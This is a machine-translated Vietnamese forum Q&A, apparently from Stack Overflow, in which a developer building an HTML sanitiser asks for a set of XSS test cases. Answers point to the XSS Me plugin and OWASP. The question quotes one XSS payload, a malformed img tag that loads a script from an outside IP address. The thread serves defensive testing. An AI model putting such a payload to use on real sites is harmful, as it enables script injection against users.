2008-11-01 45 views
18

Tôi đang tìm cách viết một trình khử trùng html, và rõ ràng là để kiểm tra/chứng minh rằng nó hoạt động đúng, tôi cần một bộ các ví dụ XSS để chống lại nó để xem nó hoạt động như thế nào. Dưới đây là một nice example from Coding HorrorKiểm tra tra tấn XSS - có tồn tại không?

<img src=""http://www.a.com/a.jpg<script type=text/javascript 
src="http://1.2.3.4:81/xss.js">" /><<img 
src=""http://www.a.com/a.jpg</script>" 

Tôi biết có một Mime Torture Test trong đó bao gồm một số email lồng nhau với file đính kèm được dùng để kiểm tra bộ giải mã Mime (nếu họ có thể giải mã nó đúng cách, sau đó họ đã được chứng minh để làm việc). Về cơ bản, tôi đang tìm kiếm một equivilent cho XSS, tức là một danh sách các ví dụ về html dodgy mà tôi có thể ném vào của tôi sanitiser chỉ để đảm bảo rằng nó hoạt động OK.

Nếu bất kỳ ai cũng có bất kỳ tài nguyên nào tốt về cách viết thuốc khử trùng (nghĩa là những người khai thác phổ biến cố gắng sử dụng, vv), họ cũng sẽ được biết ơn.

Cảm ơn trước :-)

Edit: Xin lỗi nếu điều này là không rõ ràng trước đó, nhưng tôi đã sau một loạt các thử nghiệm tra tấn vì vậy tôi có thể viết các unit test cho các sanitiser, không kiểm tra nó trong trình duyệt , vv Dữ liệu nguồn theo lý thuyết có thể đến từ bất cứ đâu - không chỉ là một trình duyệt.

Trả lời

7

XSS Me là một Firefox Plugin tuyệt vời mà bạn có thể chạy với khử trùng của bạn.

+0

Liên kết tới "XSS Me" được định dạng sai ... URL chính xác là https: // addons .mozilla.org/en-US/firefox/addon/7598 – Pafjo

+0

Liên kết đã được sửa. Cảm ơn đã chỉ ra điều đó! – Maxam

+0

Đã lỗi thời, không hoạt động với phiên bản FireFox mới nhất – boyd4715

2

Khám phá OWASP. Họ có hướng dẫn tốt về cách XSS hoạt động, những gì cần tìm và thậm chí là dự án WebGoat, nơi bạn có thể thử tay trên một trang web dễ bị tổn thương.

Các vấn đề liên quan